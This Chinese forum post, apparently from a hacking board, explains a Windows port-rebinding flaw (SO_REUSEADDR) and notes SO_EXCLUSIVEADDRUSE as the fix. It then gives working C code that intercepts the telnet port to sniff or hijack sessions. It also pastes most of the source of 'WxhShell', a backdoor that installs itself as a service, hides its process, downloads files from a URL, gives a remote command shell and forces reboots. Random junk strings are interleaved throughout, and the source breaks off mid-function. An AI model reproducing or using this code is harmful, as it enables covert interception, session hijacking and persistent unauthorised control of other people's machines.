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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y-Lm^ GW4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F'ez{ B\AX  
KSU hB  
  saddr.sin_family = AF_INET; af/0e}-  
A>*#Nw5L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ki /j\  
JQW7y!Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D"{%[;J  
V0_^==Vs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d^"|ESQEU  
~b[5}_L=>  
  这意味着什么?意味着可以进行如下的攻击: D8b9 T.[(  
-)DxF<8B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4OG 1_6K  
_OK!/T*FBt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m5W':vM  
%B\VY+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W>[TFdH?  
>=3oe.$)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w; :{  
}G"bD8+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :2~2j-m  
#6#%y~N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^ JU#_  
G}nj 71=H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mw83pU6  
~SwGZ  
  #include gj }Vnv1[  
  #include Io('kCOR;  
  #include unr`.}A2>  
  #include    %)e&"mq!|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LfvRH?<W  
  int main() i1Y<[s  
  {  o%$R`;  
  WORD wVersionRequested; p`'3Il3  
  DWORD ret; SOS|3q_`  
  WSADATA wsaData; r4]hcoU  
  BOOL val; G(1_P1  
  SOCKADDR_IN saddr; `b_n\pf ]  
  SOCKADDR_IN scaddr; R-Y 7I  
  int err; iS`ok  
  SOCKET s; 6s$h _$[X  
  SOCKET sc; Y*S(uqM  
  int caddsize; :S+Bu*OyH  
  HANDLE mt; ^[q/w<_j~  
  DWORD tid;   1W7ClT_cQ  
  wVersionRequested = MAKEWORD( 2, 2 ); "_\77cqpTh  
  err = WSAStartup( wVersionRequested, &wsaData ); [6nN]U~Y  
  if ( err != 0 ) { \WZSY||C|_  
  printf("error!WSAStartup failed!\n"); Zy>y7O(,  
  return -1; BD mF+  
  } {=+'3p  
  saddr.sin_family = AF_INET; x(:alG%#  
   f;b f R&v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5+/XO>P1m|  
:]8!G- Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A!a.,{fZ  
  saddr.sin_port = htons(23); Xzqx8Kd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +,eF(VS!  
  { 8P} a  
  printf("error!socket failed!\n"); RuOse9  
  return -1; <"7Wb"+  
  } Pe@*')o*  
  val = TRUE; |doG}C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eX'V#K#C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xBE}/F$ 45  
  { H$6;{IUz~  
  printf("error!setsockopt failed!\n"); M4t:)!dji?  
  return -1; !@FzP@  
  } QPB ^%8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,oJ$m$(Lj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2rM/kF >g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H)X&5E  
 y`pgJO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {7EpljH@  
  { kU{a!ca4  
  ret=GetLastError(); `_3 Gb  
  printf("error!bind failed!\n"); ?4_ME3$t  
  return -1; $WsyAUl  
  } 3k:`7E.  
  listen(s,2); 1#|qT7  
  while(1) W O'nW  
  { 'lOpoWDL  
  caddsize = sizeof(scaddr); c']m5q39'  
  //接受连接请求 IJLuu@kRm,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H4W!@"e  
  if(sc!=INVALID_SOCKET) ye4GHAm,p  
  { [u^~ND'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /LG}nY  
  if(mt==NULL) <4-g2.\  
  { >|1-o;UU  
  printf("Thread Creat Failed!\n"); PD-*rG `  
  break; 9{-H/YS\_s  
  } 3E!3kSh|  
  } pzT`.#N:M  
  CloseHandle(mt); {wf5HA  
  } u/J1Z>0  
  closesocket(s); BoHNni  
  WSACleanup(); }RUK?:lEA  
  return 0; ?JR?PW8  
  }   <_SdW 5BF<  
  DWORD WINAPI ClientThread(LPVOID lpParam) !fJy7Y  
  { , Q)  
  SOCKET ss = (SOCKET)lpParam; *EFuK8 ;  
  SOCKET sc; $ou/ Fn  
  unsigned char buf[4096]; e1ExB#  
  SOCKADDR_IN saddr; <jh=W9.N_  
  long num; <9S5  
  DWORD val; FMT_X  
  DWORD ret; HcGbe37Xq  
  //如果是隐藏端口应用的话,可以在此处加一些判断  *1 *i5c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sl)]yCD|5  
  saddr.sin_family = AF_INET; 1 ;Uc -<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q3[nS(#Z/=  
  saddr.sin_port = htons(23); r%`3*<ALV)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xc<Hm  
  { hwSxdT6  
  printf("error!socket failed!\n"); ?2K~']\S  
  return -1; .lGN Fx  
  } D4T(Dce  
  val = 100; 4 i`FSO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .qCI!%fg  
  { 8`Tj*7Y=  
  ret = GetLastError(); \cHF V  
  return -1; _:KeSskuO  
  } {`9J8qRY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N,&bBp  
  { *`t3z-L  
  ret = GetLastError(); )qRE['M  
  return -1; )Dyyb1\)  
  } ;b 'L2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5YXMnYt9  
  { _RWH$L9  
  printf("error!socket connect failed!\n"); M`?ATmYy  
  closesocket(sc); "||' -(0  
  closesocket(ss); Rpxg 5  
  return -1; %U9f`qE  
  } +a^0Q F-7  
  while(1) l7(p~+o?h>  
  { QiNLE'19^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S"@@BQ#mf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &Zo+F]3d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;ao <{i?  
  num = recv(ss,buf,4096,0); ozl>Au  
  if(num>0)  K"Gea`I  
  send(sc,buf,num,0); {&nDm$KTD  
  else if(num==0) QM{B(zH  
  break; Ib"fHLWA^!  
  num = recv(sc,buf,4096,0); ^j2z\yo  
  if(num>0) H:mcex  
  send(ss,buf,num,0); Li\b ,_C  
  else if(num==0) b\H,+|i K  
  break; 9jllW[`2F  
  } xj JoWB  
  closesocket(ss); VI)hA ^ S  
  closesocket(sc); /$j,p E=  
  return 0 ; z h%b<  
  } fbkAu  
Us3zvpy)o  
3w+ +F@(  
========================================================== Gg%pU+'T  
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下边附上一个代码,,WXhSHELL Pxgal4{6  
8Y;2.Z`Rz  
========================================================== g>{t>B%v^K  
|wuN`;gc"  
#include "stdafx.h" <4N E)!#  
0bjZwC4J  
#include <stdio.h> v 1 f^gde  
#include <string.h> a4",BDx  
#include <windows.h> G'Uq595'-  
#include <winsock2.h> wYh]3  
#include <winsvc.h> b6'ZVB  
#include <urlmon.h> afjEN y1  
X rut[)H  
#pragma comment (lib, "Ws2_32.lib") . Fm| $x  
#pragma comment (lib, "urlmon.lib") x6Q_+!mnk  
\psO$TxF=  
#define MAX_USER   100 // 最大客户端连接数 T;3B_ lu]  
#define BUF_SOCK   200 // sock buffer 0&c<1;  
#define KEY_BUFF   255 // 输入 buffer Rd|^C$6  
^O**ZndB/  
#define REBOOT     0   // 重启 Cf@N>N#t)  
#define SHUTDOWN   1   // 关机 %< Jj[F  
%/R[cj 8  
#define DEF_PORT   5000 // 监听端口 /km0[M  
L tK,_j  
#define REG_LEN     16   // 注册表键长度 avUdv V-  
#define SVC_LEN     80   // NT服务名长度 +d3h @gp  
35YDP|XZb  
// 从dll定义API @ZtvpL}e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $Y%,?>AL<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3H%bbFy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S~GS:E#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5E2T*EXSh  
R%Xz3Z&|  
// wxhshell配置信息 f_IsY+@  
struct WSCFG { -90X^]  
  int ws_port;         // 监听端口 :*J!  
  char ws_passstr[REG_LEN]; // 口令 +<WNAmh   
  int ws_autoins;       // 安装标记, 1=yes 0=no Z;6?,5OSc  
  char ws_regname[REG_LEN]; // 注册表键名 m21H68y  
  char ws_svcname[REG_LEN]; // 服务名 4cDe'9 LA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v=-T3 n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +KIFLuL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y>ePCDR3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .<6'*X R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K pmq C$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s2 $w>L  
J$,bsMIX  
}; ]MB6++.e  
:v^OdW  
// default Wxhshell configuration /Y| <0tq  
struct WSCFG wscfg={DEF_PORT, ^C;ULUn3  
    "xuhuanlingzhe", |43Oc:Ah+  
    1, i \@a&tw  
    "Wxhshell",  r^,"OM]  
    "Wxhshell", #}[NleTVt  
            "WxhShell Service", U+ V yH4"  
    "Wrsky Windows CmdShell Service", Lo}zT-F  
    "Please Input Your Password: ", iL'j9_w,  
  1, ;6*$!^*w  
  "http://www.wrsky.com/wxhshell.exe", ne=CN!=  
  "Wxhshell.exe" Bu4@FIK!C  
    }; A#]78lR  
Xkf|^-n  
// 消息定义模块 u3IhB8'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "nU] 2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LPkl16yZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |^gnT`+  
char *msg_ws_ext="\n\rExit."; MK <\:g  
char *msg_ws_end="\n\rQuit."; ;t4YI7E*  
char *msg_ws_boot="\n\rReboot..."; `?SLp  
char *msg_ws_poff="\n\rShutdown..."; HaQox.v%  
char *msg_ws_down="\n\rSave to "; ccy q~  
.v['INK9  
char *msg_ws_err="\n\rErr!"; o RK:{?Y  
char *msg_ws_ok="\n\rOK!"; ym2"D?P (  
|q Pu*vR  
char ExeFile[MAX_PATH]; jH37{S-  
int nUser = 0; eCG{KCM~_Z  
HANDLE handles[MAX_USER]; 5)ooE   
int OsIsNt; a&B@F]+  
+(h{ 3Y|  
SERVICE_STATUS       serviceStatus; $rPQ%2eF4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; . $ HE  
wM! dz&  
// 函数声明 2j$~lI  
int Install(void); Kr+#)S  
int Uninstall(void); .L.9e#?3  
int DownloadFile(char *sURL, SOCKET wsh); ?B<.d8i  
int Boot(int flag); Myh?=:1~(c  
void HideProc(void); Raf-I+  
int GetOsVer(void); -f"{%<Q  
int Wxhshell(SOCKET wsl); X5+$:jq&  
void TalkWithClient(void *cs); ?3<Y/Vg%c  
int CmdShell(SOCKET sock); Fp>nu_-"  
int StartFromService(void); >C`#4e?}  
int StartWxhshell(LPSTR lpCmdLine); Fm+V_.H/;  
jwheJ G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #j"GS/y"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5i%\m  
m1M6N`f  
// 数据结构和表定义 6+:;M b_S  
SERVICE_TABLE_ENTRY DispatchTable[] = 8qoA5fW>  
{ z<8VJZd  
{wscfg.ws_svcname, NTServiceMain}, M0%nGpVj>  
{NULL, NULL} X=Jt4 h 9  
};  I^G6aw  
@QF;m  
// 自我安装 qpq(<  
int Install(void) t"YN:y8-  
{ \ !IEZ  
  char svExeFile[MAX_PATH]; P[jh^!<j  
  HKEY key; lz _ r  
  strcpy(svExeFile,ExeFile); IaO*{1re  
xsU3c0wbr8  
// 如果是win9x系统,修改注册表设为自启动 6Y9<| .  
if(!OsIsNt) { W?n/>DML  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mv(/M t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^grDP*;W  
  RegCloseKey(key); UkC'`NWF*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #p-\Y7f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *pyC<4W  
  RegCloseKey(key); ?5wsgP^  
  return 0; JX`>N(K4\  
    } BJ{?S{"6%G  
  } h7AO5"6  
} k;r[m ,$  
else { u/FC\xJc  
(iht LFp  
// 如果是NT以上系统,安装为系统服务 h;~NA}>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1G'pT$5&  
if (schSCManager!=0) co' qVsOiH  
{ :N'   
  SC_HANDLE schService = CreateService =`l><  
  ( " +hUt  
  schSCManager, fyxc4-D  
  wscfg.ws_svcname, ^1Bk*?Yx\x  
  wscfg.ws_svcdisp, y(=0  
  SERVICE_ALL_ACCESS, ,C|aiSh0-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )))AxgM  
  SERVICE_AUTO_START, ?',Wn3A  
  SERVICE_ERROR_NORMAL, \\35} 9  
  svExeFile, TV}=$\D  
  NULL, ^=qV)j  
  NULL, O mph(  
  NULL, ^}lL@Bd|  
  NULL, qJR8fQ  
  NULL ] ~ }~d(  
  ); >]2^5C;  
  if (schService!=0) .ZM0cwF  
  { &"Fz)}  
  CloseServiceHandle(schService); &LQfs4}a,  
  CloseServiceHandle(schSCManager); ,2P /[ :  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LN9.Q'@r?  
  strcat(svExeFile,wscfg.ws_svcname); m; PTO$--  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^BP4l_rO9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1+Vei<H$  
  RegCloseKey(key); MPLeqk$;  
  return 0; ${`q!  
    } &?k`rF9  
  } ){w!< Lb  
  CloseServiceHandle(schSCManager); a&[>kO  
} `0-i>>  
} jRxzZt4  
0UQ DB5u  
return 1; m`jGBSlw_  
} l I2UpfkBP  
_,w*Rv5=  
// 自我卸载 FPEab69  
int Uninstall(void) o_r{cnu  
{ !ED,'d%J  
  HKEY key; 5xa!L@)`wF  
Uh^j;s\y  
if(!OsIsNt) { WL3J>S_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1"T&B0G3l  
  RegDeleteValue(key,wscfg.ws_regname); B0^:nYko  
  RegCloseKey(key); w<Iq:3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?S.LGc  
  RegDeleteValue(key,wscfg.ws_regname); ?yA 2N;  
  RegCloseKey(key); _V` QvnT}  
  return 0; WrR8TYq9D]  
  } {(h!JeQ  
} B&}lYo  
} <lWBhrz  
else { ~u r}6T  
lLEEre  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8_3WCbe/  
if (schSCManager!=0) h9 rrkV9  
{ ?l`|j*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \*c=bz&l  
  if (schService!=0) =-G4 BQ  
  { Sf t,$  
  if(DeleteService(schService)!=0) { OGW0lnQ/  
  CloseServiceHandle(schService); u2*."W\  
  CloseServiceHandle(schSCManager); $C8s  
  return 0; l!IN#|{(  
  } Ub[UB%(T  
  CloseServiceHandle(schService); OO;I^`Yn  
  } XOEf,"  
  CloseServiceHandle(schSCManager); kZ!&3G9>-  
} }mS+%w"j  
} (R!.=95@  
)F6p+i="  
return 1; C6d#+  
} H+Q_%%[N  
&CfzhIi*!  
// 从指定url下载文件 XL(2Qk  
int DownloadFile(char *sURL, SOCKET wsh) &cf_?4  
{ F^Mt}`O  
  HRESULT hr; h\8bo=  
char seps[]= "/"; j)}TZx4~  
char *token; :{?Pq8jP  
char *file; ' &Nv|v\V  
char myURL[MAX_PATH]; $ccCI \  
char myFILE[MAX_PATH]; i^ eDM.#X  
~Yg+bwh  
strcpy(myURL,sURL); ]jV1/vJ-!  
  token=strtok(myURL,seps); u<HJFGLzI  
  while(token!=NULL) [LSs|f  
  { qtp-w\#S$  
    file=token; C(}Kfi@6N  
  token=strtok(NULL,seps); l+?sR<e?!  
  } :Z]\2(x  
),0Ea~LB4  
GetCurrentDirectory(MAX_PATH,myFILE); p0HcuB)Y  
strcat(myFILE, "\\"); # twl  
strcat(myFILE, file); |tO.@+[uqP  
  send(wsh,myFILE,strlen(myFILE),0); 5WI0[7  
send(wsh,"...",3,0); pwV{@h!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D+*_iM6[-  
  if(hr==S_OK) K Z0%J5  
return 0; r7v 1q  
else Ft8ii|-  
return 1; ['l}*  
dj3E20Ws  
} a<Ps6'  
B|rf[EI>  
// 系统电源模块 9RY}m7  
int Boot(int flag) 9>d~g!u=  
{ xGX U7w:X  
  HANDLE hToken; u2l`% F`x  
  TOKEN_PRIVILEGES tkp; J(`(PYo\i  
aMyf|l.  
  if(OsIsNt) { ~-NlTx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d C6t+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o [nr)  
    tkp.PrivilegeCount = 1; </qli-fXB}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5Veybchy "  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]ov"&,J  
if(flag==REBOOT) { RaB%N$.9s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n^rzl6dy  
  return 0; $p.0[A(N  
} Fh^Ax3P(  
else { @|9V]bk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7XiR)jYo*  
  return 0; Tc;j)_C)  
} ffh3okyW0  
  } -}Gk@=$G  
  else { ;5=5HYx%  
if(flag==REBOOT) { `wLMJ,@f.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WOf*1C  
  return 0; ](^BQc  
} iR4!X()  
else { t%30B^Ii%K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2@pEuB3$?!  
  return 0; 2L?Pw   
} B6]M\4v  
} ]a\HgFp@  
uJ%XF*>_D  
return 1; oz\r0:  
} liVj-*m  
@4j!M1} 4  
// win9x进程隐藏模块 ziD+% -  
void HideProc(void) k0-,qM#p;X  
{ hkR Jqta)  
q=uJ^N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mV'^4by  
  if ( hKernel != NULL ) I$1~;!<  
  { wfBf&Z0{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LF_am*F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N`!=z++G  
    FreeLibrary(hKernel); 98t|G5  
  } PH]ui=  
2]-xmS>|b  
return; `Z~\&r=  
} JJE0q5[  
REKv&^FLN  
// 获取操作系统版本 W$?Bsz)  
int GetOsVer(void) Y1U\VU  
{ 0D_{LBO6LU  
  OSVERSIONINFO winfo; ~(d#T|ez  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >[TJ-%V>oR  
  GetVersionEx(&winfo); |[ ,|S{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~b SjZ1`  
  return 1; <}^l MBa  
  else G:?l;+P1  
  return 0; ^[-3qi  
} \d"M&-O  
Mj-B;r  
// 客户端句柄模块 5SmgE2}  
int Wxhshell(SOCKET wsl) 1N\-Ku  
{ 9N{"ob Z  
  SOCKET wsh; *6 1G<I  
  struct sockaddr_in client; agxR V  
  DWORD myID; )l*6zn`z  
 Q~AK0W  
  while(nUser<MAX_USER) 73'.TReK  
{ 99..]  
  int nSize=sizeof(client); 'P<T,:z?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =;@?bTmqD  
  if(wsh==INVALID_SOCKET) return 1; dFVm18  
,daZ KxT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tz"zQC$  
if(handles[nUser]==0) b>"=kN/  
  closesocket(wsh); PEHaH"|([=  
else s9}VnNr  
  nUser++; !JVpR]lWS  
  } dEM=U;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iWu^m+"k  
z9[BQ(9t  
  return 0; E7UYJ)6]  
} 4+_r0  
}@S''AA\  
// 关闭 socket ~V<62"G  
void CloseIt(SOCKET wsh) G9i?yd4n=B  
{ (3M7RpsL@  
closesocket(wsh); U `<?~Bz  
nUser--; \%011I4  
ExitThread(0); Fl&Z}&5p  
} ^\zf8kPti  
Um\_G@  
// 客户端请求句柄 A/{0J\pA  
void TalkWithClient(void *cs) - d(RK_  
{ SRf .8j  
G%RhNwm  
  SOCKET wsh=(SOCKET)cs; mBZg(TY  
  char pwd[SVC_LEN]; |Y\BI^  
  char cmd[KEY_BUFF]; _f5n t:-  
char chr[1]; 13 e @  
int i,j; a)GT\1q  
U:o(%dk  
  while (nUser < MAX_USER) { L=."<,\  
$*[-kIy  
if(wscfg.ws_passstr) { bp?4)C*R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7*&$-Hv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wth*H$iF  
  //ZeroMemory(pwd,KEY_BUFF); -v7O*xm"  
      i=0; {]CO;5:  
  while(i<SVC_LEN) { woCFkO;'O  
/>\6_kT  
  // 设置超时 K<Qy1y~[  
  fd_set FdRead; >*aqYNft  
  struct timeval TimeOut; 9F^rXY.  
  FD_ZERO(&FdRead); G`" 9/FI7  
  FD_SET(wsh,&FdRead); T=n)ea A  
  TimeOut.tv_sec=8; nd/.]"  
  TimeOut.tv_usec=0; dNMz(~A[Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rF8n z:8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O A9G] 8k  
*(sUz?t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }yW*vy6`  
  pwd=chr[0]; b4HUgW3Ac  
  if(chr[0]==0xd || chr[0]==0xa) { $-:j'e:j  
  pwd=0; 6$|!_94>*)  
  break; %+,7=Wt-  
  } J(JqusQd !  
  i++; ^7 oXJu=  
    } & 0*=F%Fd  
+`)4jx)r/  
  // 如果是非法用户,关闭 socket >^fkHbgNQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eQvdi|6  
} $yA2c^QS  
^Gs=U[**  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %[9d1F 3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~HH6=qjU)  
;5fq[v^P:  
while(1) { )+ss)L EC  
vtS [Tkk|A  
  ZeroMemory(cmd,KEY_BUFF); Os# V=P  
^cy.iolt  
      // 自动支持客户端 telnet标准   'U" ub2j  
  j=0; T@ecWRro  
  while(j<KEY_BUFF) { uqg#(ADy?R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dUg| {l  
  cmd[j]=chr[0]; GcL:plz  
  if(chr[0]==0xa || chr[0]==0xd) { xJ(4RaP  
  cmd[j]=0; ;^K4kK&f  
  break; Mmu>&C\  
  } LT ZoO9O  
  j++; Y79{v nlGk  
    } X( H-U q*(  
g^dPAjPQ  
  // 下载文件 sZ!/uN!6  
  if(strstr(cmd,"http://")) { CI };$4W~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hn bF}AD  
  if(DownloadFile(cmd,wsh)) C/{tvY /o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eZ^-gk?  
  else -:|1>og  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &b#O=LF  
  } `1eGsd,f  
  else { z` :uvEX0  
=U_WrY<F  
    switch(cmd[0]) { SqF9#&F  
  e(NpX_8  
  // 帮助 )K0BH q7r  
  case '?': { xxN=,p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wwtk6;8@  
    break; mz~aSbb|  
  } i9FHEu_  
  // 安装 0WjPo  
  case 'i': { eaI!}#>R +  
    if(Install()) P{-f./(JD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FB-_a  
    else .Y"H{|]Mnh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,%FBELqOW  
    break; 3'H 1T  
    } y~cDWD <h  
  // 卸载 *Q@%< R  
  case 'r': { ^mu?V-4  
    if(Uninstall()) >lRa},5(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _k,/t10  
    else *Hnk,?kPq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (\Qk XrK  
    break; fA]b'8  
    } )aOPR|+  
  // 显示 wxhshell 所在路径 HktvUJ(Ii  
  case 'p': { -|l^- Qf!  
    char svExeFile[MAX_PATH]; <3;Sq~^  
    strcpy(svExeFile,"\n\r"); ) DzbJ}  
      strcat(svExeFile,ExeFile); Fj`6v"h  
        send(wsh,svExeFile,strlen(svExeFile),0); (>E 70|T  
    break; =psX2?%L  
    } HW)4#nLhh  
  // 重启 `nxm<~-\  
  case 'b': { kAEm#oz=g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =3Y:DPMB  
    if(Boot(REBOOT))  !XvQm*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @@,l0/  
    else { 1HF=,K+  
    closesocket(wsh); Ri}n0}I  
    ExitThread(0); $LLy#h?V]  
    } >^8=_i !  
    break; =c-,uW11[  
    } 1?6;Oc^  
  // 关机 <3wfY #;><  
  case 'd': { i U^tv_1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <4gT8 kQ$x  
    if(Boot(SHUTDOWN)) .."=  
